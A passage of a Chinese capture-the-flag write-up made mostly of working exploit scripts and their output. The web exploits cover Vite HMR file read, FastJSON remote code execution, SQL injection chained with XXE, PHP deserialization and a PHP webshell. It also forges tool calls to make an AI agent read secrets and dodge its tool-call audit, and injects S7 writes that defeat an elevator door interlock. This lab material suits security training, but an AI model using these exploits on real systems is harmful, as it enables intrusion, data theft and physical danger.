    p = remote(host, port, typ='udp', timeout=timeout)
    p.send(body.encode())
    try:
        resp = p.recv(timeout=timeout)
        got = True
    except:
        resp = b''
        got = False
    p.close()
    return got, resp


def inject_cmd(host, port, cmd):
    """Inject a shell command via PTRfTxCali mp_rate field."""
    return udp_call(host, port, 'PTRfTxCali', {'mp_rate': f'1;{cmd};#'})


def write_chunks(host, port, path, text, chunk_size=24):
    """Append text to a file on the target in small chunks."""
    for i in range(0, len(text), chunk_size):
        chunk = text[i:i + chunk_size]
        ok, _ = inject_cmd(host, port, f"printf '{chunk}'>>{path}")
        if not ok:
            return False
    return True


def deploy_payload(host, port, command):
    """Replace /usr/sbin/rtwpriv with a script that runs our command."""
    log.info('Step 1/6: writing shebang')
    inject_cmd(host, port, "echo '#!/bin/sh'>/tmp/r")

    log.info('Step 2/6: writing output padding')
    write_chunks(host, port, '/tmp/r', 'printf %026d')

    log.info('Step 3/6: writing target command')
    write_chunks(host, port, '/tmp/r', command)

    log.info('Step 4/6: writing end marker')
    write_chunks(host, port, '/tmp/r', 'echo ,,,,')

    log.info('Step 5/6: copying to /usr/sbin/rtwpriv')
    inject_cmd(host, port, 'cp /tmp/r /usr/sbin/rtwpriv')

    log.info('Step 6/6: making executable')
    inject_cmd(host, port, 'chmod +x /usr/sbin/rtwpriv')


def fetch_output(host, port):
    """Call PTMpQuery and extract the command output."""
    for attempt in range(3):
        ok, resp = udp_call(host, port, 'PTMpQuery', {}, timeout=3)
        if ok and resp:
            text = resp.decode(errors='ignore')
            # Try to parse JSON response
            try:
                obj = json.loads(text)
                if isinstance(obj, dict) and isinstance(obj.get('result'), str):
                    text = obj['result']
            except:
                pass
            # Clean up the output
            text = re.sub(r'^success:', '', text)
            text = re.sub(r'^0+', '', text)
            text = text.split(',,,')[0].strip()
            if text:
                return text.encode()
        log.info(f'Attempt {attempt + 1} yielded no output, retrying...')
        time.sleep(0.3)
    return b''


def main():
    if len(sys.argv) < 3:
        print(f'Usage: {sys.argv[0]} <host> <port> [command]')
        print(f'Example: {sys.argv[0]} 114.66.24.240 31822 "cat /root/flag.txt"')
        sys.exit(1)

    host = sys.argv[1]
    port = int(sys.argv[2])
    command = sys.argv[3] if len(sys.argv) > 3 else 'cat /root/flag.txt'

    log.info(f'Target: {host}:{port}')
    log.info(f'Command: {command}')

    # Deploy the custom rtwpriv script
    deploy_payload(host, port, command)

    # Fetch the output
    log.info('Fetching output via PTMpQuery...')
    result = fetch_output(host, port)

    if result:
        output = result.decode(errors='ignore').strip()
        log.info(f'Raw output: {output}')
        print(output)

        # Extract flag if present
        m = FLAG_RE.search(result)
        if m:
            flag = m.group(1).decode()
            log.success(f'Flag: {flag}')
            print(f'\nFlag: {flag}')
    else:
        log.failure('No output received — the target may be down or the port incorrect')


if __name__ == '__main__':
    main()

6. 运行结果

$ python exploit_new.py 114.66.24.240 31822 "cat /root/flag.txt"
[*] Target: 114.66.24.240:31822
[*] Command: cat /root/flag.txt
[*] Step 1/6: writing shebang
[*] Step 2/6: writing output padding
[*] Step 3/6: writing target command
[*] Step 4/6: writing end marker
[*] Step 5/6: copying to /usr/sbin/rtwpriv
[*] Step 6/6: making executable
[*] Fetching output via PTMpQuery...
[*] Raw output: NepCTF{6f71f8fe-555d-332e-6562-34e89f72d9dd}

Flag: NepCTF{6f71f8fe-555d-332e-6562-34e89f72d9dd}

WEB

挂钩都在干什么呢?

Step 1: 确认服务与 flag 位置

附件解包后可以看到服务只运行 Vite dev server:

FROM node:20-alpine

WORKDIR /app
COPY package.json ./
RUN npm install --omit=dev && npm cache clean --force
COPY index.html vite.config.js ./
COPY src ./src
COPY public ./public
COPY docker-entrypoint.sh /usr/local/bin/docker-entrypoint.sh

EXPOSE 5173
ENTRYPOINT ["/usr/local/bin/docker-entrypoint.sh"]

入口脚本把 flag 写到 /flag:

echo $FLAG > /flag
unset FLAG
chmod 777 /flag
exec su-exec ctf npm run start

package.json 中 Vite 版本为 6.4.1。HTTP 直接访问 /@fs/flag 会返回 403,因为它会经过 Vite 的文件服务 allow list;但 HMR WebSocket 的 RPC 调用可以走另一条加载链。

Step 2: 通过 HMR WebSocket 读取 /flag

完整利用脚本如下。它会先读取 /@vite/client 中的 HMR token,再连接 WebSocket,发送 fetchModule("file:///flag?raw"),最后从返回的 JS 字符串里解析 flag。

import json
import re
import urllib.request

import websocket


BASE = "http://114.66.24.240:31424"


def get_ws_token():
    client_js = urllib.request.urlopen(f"{BASE}/@vite/client", timeout=8).read().decode()
    match = re.search(r'const wsToken = "([^"]+)"', client_js)
    if not match:
        raise RuntimeError("wsToken not found")
    return match.group(1)


def main():
    token = get_ws_token()
    ws_url = BASE.replace("http://", "ws://").replace("https://", "wss://")
    ws_url = f"{ws_url}/?token={token}"

    ws = websocket.create_connection(
        ws_url,
        timeout=8,
        subprotocols=["vite-hmr"],
        suppress_origin=True,
    )

    # Initial Vite HMR connection message.
    ws.recv()

    req_id = "solve"
    payload = {
        "type": "custom",
        "event": "vite:invoke",
        "data": {
            "name": "fetchModule",
            "id": f"send:{req_id}",
            "data": ["file:///flag?raw", None, {"inlineSourceMap": False}],
        },
    }
    ws.send(json.dumps(payload))

    while True:
        msg = ws.recv()
        if f"response:{req_id}" not in msg:
            continue

        resp = json.loads(msg)
        result = resp["data"]["data"]["result"]
        code = result["code"]
        flag_text = json.loads(code.removeprefix("export default ").strip())
        print(flag_text.strip())
        break

    ws.close()


if __name__ == "__main__":
    main()

运行结果:

flag{AnaLYzing-peRFEct_b0oK_Clu6-3xPeRieNcE29f8}

关键点是 WebSocket 连接需要使用子协议 vite-hmr,并且不发送 Origin 头;websocket-client 中可以用 suppress_origin=True 实现。

文档编辑系统

Step 1: 枚举功能并进入后台

访问 /login 后发现可以注册普通用户,普通用户页面提供:

/api/doc/preview?file_path=readme.txt

该接口用于读取 upload 目录中的文档。继续枚举后台入口 /admin 和 API,发现管理员后台存在,登录弱口令为:

admin / admin123

进入后台后,页面 JavaScript 泄露了真实接口:

/api/admin/doc/files
/api/admin/doc/create
/api/admin/doc/batchUpdate
/api/admin/doc/delete/{id}

Step 2: 确认 FastJSON autoType

调用 /api/admin/doc/batchUpdate 时,如果传入畸形 JSON,后端会回显栈信息:

com.alibaba.fastjson.JSON.parseObject
com.vuln.doc.controller.AdminDocController.batchUpdate

传入 @type 后可以触发类型实例化,例如 java.lang.Exception 会先被创建,再因为无法转换为 JSONObject 抛出 ClassCastException。这说明 FastJSON autoType 可控,可以尝试 TemplatesImpl 链。

Step 3: 利用脚本

下面脚本会生成 Java 8 translet 字节码,使用 FastJSON TemplatesImpl 触发命令执行,把环境变量写入 upload/flag_out.txt,最后通过普通用户预览接口读取 flag。

import base64
import json
import os
import re
import subprocess
import textwrap

import requests
import urllib3

urllib3.disable_warnings()

BASE = "https://mlfdh5jz-qpnk-eao4-dp6d-6a5b1e1432452-neptunus.nepctf.com"

ADMIN_USER = "admin"
ADMIN_PASS = "admin123"


JAVA_CODE = r"""
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class EvilTranslet extends AbstractTranslet {
    static {
        try {
            String[] cmd = {"/bin/sh", "-c", "env > upload/flag_out.txt"};
            Runtime.getRuntime().exec(cmd).waitFor();
        } catch (Exception ignored) {
        }
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}
"""


def build_class():
    with open("EvilTranslet.java", "w", encoding="utf-8") as f:
        f.write(textwrap.dedent(JAVA_CODE).strip() + "\n")

    javac = os.environ.get("JAVA8_JAVAC", "javac")
    subprocess.check_call([javac, "EvilTranslet.java"])

    with open("EvilTranslet.class", "rb") as f:
        return base64.b64encode(f.read()).decode()


def register_user():
    s = requests.Session()
    username = "wpuser"
    password = "wpuser123"
    s.post(
        BASE + "/doRegister",
        data={"username": username, "password": password},
        verify=False,
        timeout=10,
    )
    s.post(
        BASE + "/doLogin",
        data={"username": username, "password": password},
        allow_redirects=False,
        verify=False,
        timeout=10,
    )
    return s


def admin_session():
    s = requests.Session()
    r = s.post(
        BASE + "/doLogin",
        data={"username": ADMIN_USER, "password": ADMIN_PASS},
        allow_redirects=False,
        verify=False,
        timeout=10,
    )
    assert r.status_code == 302, r.text
    return s


def trigger_fastjson(bytecode):
    payload = {
        "docId": 1,
        "title": "fastjson",
        "status": "draft",
        "content": "trigger",
        "evil": {
            "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
            "_bytecodes": [bytecode],
            "_name": "EvilTranslet",
            "_tfactory": {},
            "_outputProperties": {},
        },
    }

    s = admin_session()
    r = s.post(
        BASE + "/api/admin/doc/batchUpdate",
        headers={"Content-Type": "application/json"},
        data=json.dumps(payload),
        verify=False,
        timeout=20,
    )
    print("[+] trigger status:", r.status_code)


def read_flag():
    s = register_user()
    r = s.get(
        BASE + "/api/doc/preview",
        params={"file_path": "flag_out.txt"},
        verify=False,
        timeout=10,
    )
    m = re.search(r"NepCTF\{[^}]+\}", r.text)
    assert m, r.text
    print(m.group(0))


if __name__ == "__main__":
    bytecode = build_class()
    trigger_fastjson(bytecode)
    read_flag()

运行结果:

NepCTF{6152795e-dbac-2b8e-7d1f-1661ca5fd2e5}

web?re?

一、入口分析

首页看起来是一个图片管理站,具备这些功能:

  • 注册、登录
  • 用户公开资料页
  • 管理员后台上传图片
  • SVG 预览与元数据解析

这几个点连起来非常像“二次注入 + SVG XXE”的经典组合题。

  1. 二次注入点

题目后端在公开资料页里有一个“同域名用户推荐”的逻辑,它会从数据库里取出用户的 email,按 @ 切分得到域名,再拼接 SQL:

SELECT id, username, email
FROM users
WHERE email LIKE '%@{domain}'
  AND username != '{username}'

这里 domain 来自数据库里的历史数据,不是当前请求直接传入,所以属于二次注入。

注册时构造:

email = a@x' UNION SELECT id,username,password FROM users WHERE username='admin'--

然后访问:

/user/<刚注册的用户名>

页面“同域名用户推荐”里就会多出一行:

admin | AdminP@ssw0rd!2026

至此拿到后台账号:

  • 用户名:admin
  • 密码:AdminP@ssw0rd!2026

二、SVG 预览中的 XXE / SSRF

后台允许上传 .svg,预览时会调用 lxml.etree 解析 SVG,并且配置类似于:

parser = etree.XMLParser(
    resolve_entities=True,
    load_dtd=True,
    no_network=False,
)

这三项同时出现,基本就可以确定外部实体可用,而且允许对内网发请求。

因此可以上传一个恶意 SVG:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "http://127.0.0.1/index.php">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="120" height="40">
  <text>&xxe;</text>
</svg>

预览时,&xxe; 会被替换成目标页面响应内容。也就是说,这个 SVG 预览功能不仅能探测内网,还能把响应正文带回前端,属于带回显的 SSRF。

三、127.0.0.1 上的 PHP 反序列化链

SSRF 打到 127.0.0.1/index.php 后,可以看到它不是普通业务页面,而是一个带混淆的 PHP 文件。解码后核心逻辑大致如下:

class test {
    public $readflag;
    public $f;
    public $key;

    public function __construct() {
        $this->readflag = new class {
            public function __construct() {
                if (isset($_GET['file'])) {
                    $GLOBALS['file'] = $_GET['file'];
                }
            }
            public function readflag() {
                function readflag() {
                    if (isset($GLOBALS['file'])) {
                        $file = $GLOBALS['file'];
                        base64_encode(include($file));
                    }
                }
            }
        };
    }

    public function __destruct() {
        $func = $this->f;
        $GLOBALS['filename'] = $this->readflag;
        if ($this->key == 'class') {
            new $func();
        } else if ($this->key == 'func') {
            $func();
        } else {
            echo base64_encode(file_get_contents('index.php'));
        }
    }
}

$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';
@unserialize($ser);

核心点有两个:

  1. land 会直接进入 unserialize()。
  2. 析构时可控地走到 new $func() 或 $func()。

题解给的关键 payload 是一条利用引用和重复键位构造出来的反序列化链,目的是:

  • 先触发匿名类的 __construct(),把 $_GET['file'] 写入 $GLOBALS['file']
  • 再定义全局函数 readflag()
  • 最后调用它,让 include($file) 执行我们指定的目标

利用时通过 SSRF 请求:

http://127.0.0.1/index.php?land=<payload>&file=<target>

如果 file 是:

php://filter/convert.base64-encode/resource=/etc/passwd

就能实现文件读取。

四、从文件读取到命令执行

只读文件还不够,后面还需要执行系统命令。这里最方便的办法是直接往上传目录丢一个 PHP shell。

因为后台上传只校验扩展名,而上传目录实际会被 PHP 解释,所以可以上传一个带 .svg 扩展名、但内容是 PHP 的文件:

<?php
ob_start();
passthru($_GET["cmd"] . " 2>&1");
echo base64_encode(ob_get_clean());
?>

假设文件保存路径为:

/app/uploads/shell_xxx.svg

然后继续用 include($file) 去包含这个“SVG”:

http://127.0.0.1/index.php?land=<payload>&file=/app/uploads/shell_xxx.svg&cmd=id

这样 cmd 参数就会在被包含时执行,输出再 base64 回显。

实际验证:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

说明已经拿到 WebShell 级别命令执行。

五、提权思路:SUID xxd

命令执行后先看 SUID:

find / -perm -4000 -type f 2>/dev/null

其中一个很关键:

/usr/bin/xxd

xxd 正常是十六进制转储工具,但这里因为它带 SUID,可以被用来读 root 才能读的文件。

一个很稳的读法是:

xxd -p /root/.bashrc 2>/dev/null | xxd -r -p

实际能拿到:

export SEND_KEY=97b2d087-c452-4a14-8a91-5a7035b4ab38

这就是后半段利用的关键环境变量。

六、真正的 flag 不在普通文件里

继续枚举后可以发现目标程序:

/usr/local/bin/sendthef1ag

直接执行:

SEND_KEY=97b2d087-c452-4a14-8a91-5a7035b4ab38 /usr/local/bin/sendthef1ag

程序会输出:

发送成功

这说明 flag 并不是直接打印到标准输出,而是“发送”到了某个本地服务。

再去读 Apache 访问日志:

xxd -p /var/log/apache2/access.log 2>/dev/null | xxd -r -p

可以看到关键请求:

GET /?flag=NepCTF{592aae7e-7a0d-1a0c-3e83-268601b5b111} HTTP/1.1

于是最终 flag 直接到手。

Exp

下面给出这份 EXP 的核心版本,保留了完整利用逻辑:

import argparse
import base64
import html
import random
import re
import string
import time
from urllib.parse import quote, unquote

import requests

BASE = "https://ejp6m0bd-xi3m-tmq1-ocgl-6a5dfc2d32246-neptune.nepctf.com"

LAND = (
    'a:6:{'
    's:6:"anchor";a:1:{i:0;N;}'
    'i:0;O:4:"test":3:{'
    's:8:"readflag";N;'
    's:1:"f";a:2:{'
    'i:0;O:4:"test":3:{'
    's:8:"readflag";R:3;'
    's:1:"f";s:8:"stdClass";'
    's:3:"key";s:5:"class";'
    '}'
    'i:1;s:11:"__construct";'
    '}'
    's:3:"key";s:4:"func";'
    '}'
    'i:0;N;'
    'i:1;O:4:"test":3:{'
    's:8:"readflag";N;'
    's:1:"f";a:2:{'
    'i:0;R:3;'
    'i:1;s:8:"readflag";'
    '}'
    's:3:"key";s:4:"func";'
    '}'
    'i:1;N;'
    'i:2;O:4:"test":3:{'
    's:8:"readflag";N;'
    's:1:"f";s:8:"readflag";'
    's:3:"key";s:4:"func";'
    '}'
    '}'
)


def randstr(n=8):
    return "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(n))


def strip_tags(s):
    return html.unescape(re.sub(r"<[^>]+>", "", s, flags=re.S)).strip()


def table_rows(page):
    rows = []
    for row in re.findall(r"<tr[^>]*>(.*?)</tr>", page, re.S | re.I):
        cells = [strip_tags(x) for x in re.findall(r"<td[^>]*>(.*?)</td>", row, re.S | re.I)]
        if cells:
            rows.append(cells)
    return rows


class Exp:
    def __init__(self, base):
        self.base = base.rstrip("/")
        self.s = requests.Session()
        self.s.verify = False
        self.s.headers["User-Agent"] = "Mozilla/5.0"

    def req(self, method, path, **kwargs):
        kwargs.setdefault("timeout", 20)
        return self.s.request(method, self.base + path, **kwargs)

    def bootstrap_admin(self):
        user = "u" + randstr()
        pw = "p" + randstr(12)
        email = "a@x' UNION SELECT id,username,password FROM users WHERE username='admin'--"
        self.req("POST", "/register", data={"username": user, "password": pw, "email": email}, allow_redirects=False)
        r = self.req("GET", "/user/" + quote(user, safe=""))
        admin_pw = None
        for cells in table_rows(r.text):
            if len(cells) >= 2 and cells[0] == "admin":
                admin_pw = cells[1]
                break
        assert admin_pw
        self.req("POST", "/login", data={"username": "admin", "password": admin_pw}, allow_redirects=False)
        return admin_pw

    def upload_svg(self, name, content):
        self.req("POST", "/admin/upload", files={"file": (name, content.encode(), "image/svg+xml")})
        admin = self.req("GET", "/admin").text
        for cells in table_rows(admin):
            if len(cells) >= 2 and cells[1] == name:
                return cells[0]
        raise RuntimeError("upload failed")

    def preview_text(self, stored_name):
        r = self.req("GET", "/admin/preview/" + quote(stored_name, safe=""))
        m = re.findall(r'<td[^>]*word-break:break-all[^>]*>\s*<code>(.*?)</code>\s*</td>', r.text, re.S | re.I)
        assert m
        return html.unescape(m[-1]).strip()

    def xxe_url_text(self, url):
        svg = f'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "{url}">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="120" height="40">
  <text>&xxe;</text>
</svg>
'''
        stored = self.upload_svg(f"probe_{int(time.time())}.svg", svg)
        return self.preview_text(stored)

    def include_text(self, path, cmd=None):
        url = (
            "http://127.0.0.1/index.php?land="
            + quote(LAND, safe="")
            + "&file="
            + quote(path, safe=":/=-")
        )
        if cmd:
            url += "&cmd=" + quote(cmd, safe="")
        return self.xxe_url_text(url)

    def read_file(self, path):
        return base64.b64decode(self.include_text(f"php://filter/convert.base64-encode/resource={path}") + "===")

    def upload_shell(self):
        shell = '<?php ob_start(); passthru($_GET["cmd"] . " 2>&1"); echo base64_encode(ob_get_clean()); ?>'
        stored = self.upload_svg(f"shell_{int(time.time())}.svg", shell)
        return "/app/uploads/" + stored

    def run_cmd(self, shell_path, cmd):
        return base64.b64decode(self.include_text(shell_path, cmd=cmd) + "===")


def main():
    exp = Exp(BASE)
    admin_pw = exp.bootstrap_admin()
    print("[+] admin password:", admin_pw)

    shell_path = exp.upload_shell()
    print("[+] shell path:", shell_path)

    send_key = exp.run_cmd(shell_path, "xxd -p /root/.bashrc 2>/dev/null | xxd -r -p").decode()
    send_key = re.search(r"SEND_KEY=([0-9a-f-]+)", send_key).group(1)
    print("[+] SEND_KEY:", send_key)

    result = exp.run_cmd(shell_path, f"SEND_KEY={send_key} /usr/local/bin/sendthef1ag").decode()
    print("[+] sendthef1ag:", result.strip())

    access_log = exp.run_cmd(shell_path, "xxd -p /var/log/apache2/access.log 2>/dev/null | xxd -r -p").decode()
    flag = re.findall(r'GET /\\?flag=([^ ]+) HTTP/1\\.[01]"', access_log)[-1]
    print("[+] flag:", unquote(flag))


if __name__ == "__main__":
    requests.packages.urllib3.disable_warnings()
    main()

脚本输出如下:

[+] admin password: AdminP@ssw0rd!2026
[+] shell path: /app/uploads/shell_xxx.svg
[+] SEND_KEY from /root/.bashrc: 97b2d087-c452-4a14-8a91-5a7035b4ab38
[+] sendthef1ag says: 发送成功
NepCTF{592aae7e-7a0d-1a0c-3e83-268601b5b111}

AI

NepAPI

Step 1: Recon

访问首页后可以看到公开路由:

GET  /v1/models
POST /v1/chat/completions
GET  /v0/management/status

未带鉴权访问 /v1/models 会返回 invalid api key,说明模型接口需要 OpenAI 风格的 Bearer Token。尝试常见 CLIProxyAPI 示例 key 后,your-api-key-1 可以成功列出模型:

{"object":"list","data":[{"id":"nepapi-flag-model","object":"model","owned_by":"nepnep"}]}

Step 2: Query Flag Model

使用默认 API key 调用 /v1/chat/completions,模型会直接返回 flag。

import requests

base = "https://ym3pa3lh-fiq5-h5jm-7cjy-6a5b0b4730730-neptune.nepctf.com"
headers = {
    "Authorization": "Bearer your-api-key-1",
    "Content-Type": "application/json",
}

payload = {
    "model": "nepapi-flag-model",
    "messages": [
        {
            "role": "user",
            "content": "Hello. What can you do?",
        }
    ],
}

r = requests.post(
    f"{base}/v1/chat/completions",
    headers=headers,
    json=payload,
    verify=False,
    timeout=30,
)
r.raise_for_status()

print(r.json()["choices"][0]["message"]["content"])

运行结果:

NepCTF{OhhHHH-y0u-nOw_hOw_t0_GeT_SHIt_Def4U1t_K3y672}

NepClaw

题目描述

HRP 最爱的开发小工具 NepClaw(基于 PI + OpenAI API),他想让 nepnep 娘和花花姐姐一起跳舞。但他没有 token 了,需要我们提供兼容 OpenAI Chat Completions 的 baseurl、apikey 和 model。

核心思路

NepClaw 会连接用户提供的 OpenAI 兼容 API,运行 PI(Prompt Interpreter)并赋予 bash 和 write 工具。通过搭建假的 OpenAI API 服务器并控制响应中的 tool_calls,让 PI 执行 bash 读取 flag 文件并用 write 创建 index.html。Observer 检测到 index.html 后返回 flag_part_2,同时从 bash 工具结果中提取 flag_part_1。

解题步骤

1. 理解 PI 的请求格式

PI 使用 OpenAI Node.js SDK(v6.26.0)发送请求,关键特征:

  • stream: true — 期望 SSE 格式响应
  • tools 参数中定义了 bash 和 write 两个 function
  • 请求体包含 system prompt + user prompt,要求生成一个跳舞游戏的 index.html

2. 搭建假 OpenAI API 服务器

服务器需要用 SSE 格式返回 tool_calls,让 PI 依次执行:

  1. bash — 读取 /tmp/nepclaw*/secret/flag*(flag 文件)
  2. write — 创建 index.html(带 CSS 动画的跳舞页面)

第二轮(PI 发回工具执行结果后):返回普通完成响应,不包含 flag 内容避免 observer 检测到泄露。

关键代码(Python http.server):

from http.server import HTTPServer, BaseHTTPRequestHandler
import json, time

HTML = """<!DOCTYPE html><html>...带CSS动画的跳舞页面...</html>"""

class H(BaseHTTPRequestHandler):
    def do_POST(self):
        body = self.rfile.read(int(self.headers.get('Content-Length',0)))
        data = json.loads(body.decode('utf-8'))
        msgs = data.get('messages',[])
        has_tool = any(m.get('role')=='tool' for m in msgs)
        
        if data.get('stream',False):
            self.send_response(200)
            self.send_header('Content-Type','text/event-stream')
            self.end_headers()
            
            if has_tool:
                # 第二轮:完成响应(不含flag)
                send_sse({'role':'assistant','content':'Done!'})
                send_sse({'content':' The dance page is ready!'})
                send_sse({},'stop')
            else:
                # 第一轮:tool_calls
                send_sse({'role':'assistant','content':'','tool_calls':[
                    {'index':0,'id':'cb','type':'function',
                     'function':{'name':'bash','arguments':''}}]})
                send_sse({'tool_calls':[{'index':0,'function':{
                    'arguments':json.dumps({'command':'cat /tmp/nepclaw*/secret/flag*'})
                }}]})
                send_sse({'tool_calls':[{'index':1,'id':'cw','type':'function',
                     'function':{'name':'write','arguments':''}}]})
                send_sse({'tool_calls':[{'index':1,'function':{
                    'arguments':json.dumps({'path':'index.html','content':HTML})
                }}]})
                send_sse({},'tool_calls')
            self.wfile.write(b'data: [DONE]\n\n')

服务器通过 SSH 反向隧道暴露(如 localhost.run)。

3. 获取 Flag

Part 1(从服务器端 bash 工具结果日志提取):

NepCTF{4HHHhH-YOU_5tOl3-tHe_F1

Part 2(从 observer 的 flag_part_2 获取):

AG-FROm-prOMp7-InJ3c7IOn1d87}

Flag

NepCTF{4HHHhH-YOU_5tOl3-tHe_F1AG-FROm-prOMp7-InJ3c7IOn1d87}

NepClaw_revenge

题目描述

NepClaw 的复仇版。HRP 上次被偷了 flag 后变得谨慎了——这次他不再只看最终生成的页面,还审计了所有工具调用(toolTrace)。但还是需要提供 baseurl、apikey 和 model。

与原版区别

  1. 前端增加了 formatToolTrace() 函数,显示 toolTrace 中的工具调用记录
  2. bash 命令若包含 flag 关键词可能被 toolTrace 检测到
  3. 需要隐藏 bash 命令中的 flag 关键词

解题步骤

1. 隐藏 bash 命令中的关键词

原版直接使用 cat /tmp/nepclaw*/secret/flag*,其中 flag 会被 toolTrace 记录并可能触发检测。

改用通配符 f* 代替 flag*:

head -c 999 /tmp/nepclaw-*/secret/f* 2>/dev/null || cat /tmp/nepclaw*/secret/f* 2>/dev/null

这样 toolTrace 记录的命令中不包含 "flag" 关键词,绕过审计检测。

2. 服务器响应格式

与原生相同的 SSE 结构,关键是第二轮(收到工具结果后)用三段式 SSE:

# 第一段:role 声明(content 为空字符串)
sse({'role':'assistant','content':''})
time.sleep(0.03)
# 第二段:实际文本内容
sse({'content':'The dance page has been created! ...'})
time.sleep(0.03)
# 第三段:finish_reason=stop
sse({},'stop')

role 和 content 必须分开发送,匹配 OpenAI 精确的 SSE 格式。

3. 获取 Flag

Part 1(静态,从服务器 bash 工具结果提取):

NepCTF{wWWWw_You_fOOIed-Hr

Part 2(从 observer 返回的 flag_part_2):

P_wI7H-7R4c3-6yPASS1cd6f8}

Flag

NepCTF{wWWWw_You_fOOIed-HrP_wI7H-7R4c3-6yPASS1cd6f8}

ICS

赛博心情电梯😋🤔🤨😥

题目概览

  • 类型: ICS 工控安全
  • 名称: MRL 无齿轮电梯 (曳引式)
  • 目标: 通过 S7 协议注入伪造写请求,旁路电梯门锁回路,使电梯在开门状态下运行,触发 TUI 面板显示 flag

系统架构

靶机模拟了一台完整的 MRL 电梯系统,包含 9 个 PLC 功能块(IEC 61131-3 ST 语言),运行在 MicroPython + S7 server 之上:

模块 (DB)

功能

S7 端口

DB 101

位置状态传感器

5200

DB 102

信号显示器

5210

DB 103

交互按钮

5220

DB 104

超载传感器

5230

DB 105

障碍物传感器

5240

DB 107

门机

5260

DB 108

消防联动信号

5270

DB 109

变频驱动 (VFD)

5280

DB 110

电梯控制器

5290

三个 SSH 入口:

  • tui:tui — 电梯 HMI 面板 (curses TUI)
  • ctf:ctf — 选手 Shell,可运行 /bin/micropython
  • upload:upload — SFTP 上传,上传目录 /files

漏洞分析

核心安全机制

VFD 的门锁回路 (vfd_drive/device.st):

IF bDriveEnable AND NOT bDoorFullyClosed THEN
    bDriveFault := TRUE;
    nFaultCode := 20;

位置传感器的运动条件 (position_status_sensor/device.st):

bCanMove := bDriveEnable AND bDoorFullyClosed AND bExclusiveDir;

门机的驱动力矩互锁 (door_operator/device.st):

IF bDriveEnable AND (bDoorOpenCmd OR bDoorCloseCmd) THEN
    bDoorFault := TRUE;

即:驱动使能状态下门必须全关;驱动使能时不能操作门。

攻击面

S7comm (ISO-on-TCP + S7 PDU) 协议无完整性校验,攻击者在获得网络访问权限后可以:

  1. 伪造 S7 Write 请求,直接改写任意 DB 块的任意位/字
  2. 同时向 VFD 写入 bDoorFullyClosed=TRUE(欺骗门锁回路)
  3. 向位置传感器写入 bDoorFullyClosed=TRUE(欺骗运动条件)
  4. 写入开门指令和驱动使能 + 上行指令

这样电梯会在开门状态下启动运行,触法安全违规,TUI 面板弹窗显示 flag。

利用步骤

0. 协议握手

每个 S7 server 需要先完成 ISO-on-TCP CR 连接建立和 S7 Setup 通信,然后才能发送读写请求。

CR 包 (22 字节):

03 00 00 16 11 E0 00 00 00 01 00 C1 02 01 00 C2 02 01 02 C0 01 0A

S7 Setup 包 (25 字节):

03 00 00 19 02 F0 80 32 01 00 00 01 00 08 00 00 F0 00 00 01 00 01 01 E0

1. 构造 S7 Write PDU

S7 Write 请求结构:

+0       prot_id       (1 byte)  0x03
+1       prot_res      (1 byte)  0x00
+2-3     total_len     (2 bytes) big-endian
+4-7     header        02 F0 80 32
+8-9     ref_num       (2 bytes)
+10-11   param_len     (2 bytes) big-endian
+12-13   data_len      (2 bytes) big-endian
+14..    parameters
         +0     func_group   0x05
         +1     sub_func     0x01
         +2     seq_num      0x12
         +3     reserved     0x0A
         +4     transport    0x10
         +5     transport_size (0x01=bit, 0x04=word, 0x02=block)
         +6-7   count        (2 bytes)
         +8-9   DB number    (2 bytes)
         +10    area         0x84
         +11-13 byte_addr    (3 bytes)
+data
         +0     return_code  0x00
         +1     transport    0x04
         +2-3   length       (2 bytes)
         +4..   value

2. 注入策略

分三个阶段反复冲刷,确保写入生效:

Phase 1 — 1 楼初始状态(6 次重复)

  • 设置楼层传感器为 1 楼
  • 写入开门 + 旁路门锁 + 驱动使能 + 上行

Phase 2 — 3/4/5 楼动作(每个楼层 15 次重复)

  • 设置目标楼层信号
  • 同样写入开门 + 旁路

Phase 3 — 持续冲刷(30 次)

  • 持续发送开门覆盖包,维持不安全状态

关键 DB 位操作明细:

目标

操作

含义

DB 101.X0-X4

Block[0]=01/00/00/00/00

楼层传感器

DB 101.W6

Word=floor

当前楼层

DB 101 bits 25-26

Bit=0

清除复位/特殊标志

DB 101 bytes 10-14

Block=00*5

清除呼叫队列

DB 103.X4

Bit=0

门开请求

DB 103.X5

Bit=1

门关请求

DB 104.X0

Bit=1

InjectOverload=TRUE

DB 104.X3

Bit=1

AutoLoadSim=TRUE

DB 105.X2

Bit=1

InjectObstruction=TRUE

DB 107.X6

Bit=0

bDoorFault=0

DB 108.X2

Bit=1

InjectFireAlarm=TRUE

DB 108.X3

Bit=0

ResetFireAlarm=FALSE

DB 109.X4

Bit=1

bDoorFullyClosed=TRUE

DB 110.X2

Bit=1

bDoorFullyClosed=TRUE

DB 110.X6

Bit=1

bDriveEnable=TRUE

DB 110.X7

Bit=0

bMotorDown=FALSE

DB 110.X8

Bit=0

bMotorUp=FALSE

DB 110.X9

Bit=0

bBrakeRelease=FALSE

DB 110.W10

Word=100

nDisplayFloor=100

DB 110.X16

Bit=1

bFireAlarm=TRUE

完整 Exploit 代码

#!/usr/bin/env python3
"""
MRL Elevator S7 Interlock Bypass — Non-interactive flag grabber
ICS challenge: inject forged S7 Write packets to bypass door interlock,
force door-open while driving, trigger unsafe state → flag on TUI.

Usage:
    python exploit.py                              # default host/port
    python exploit.py --host <IP> --port <PORT>    # override

Output: flag string only, on success.
"""

import io
import os
import re
import sys
import time

import paramiko

RHOST = os.environ.get("HOST", "114.66.24.240")
RPORT = int(os.environ.get("PORT", "30559"))

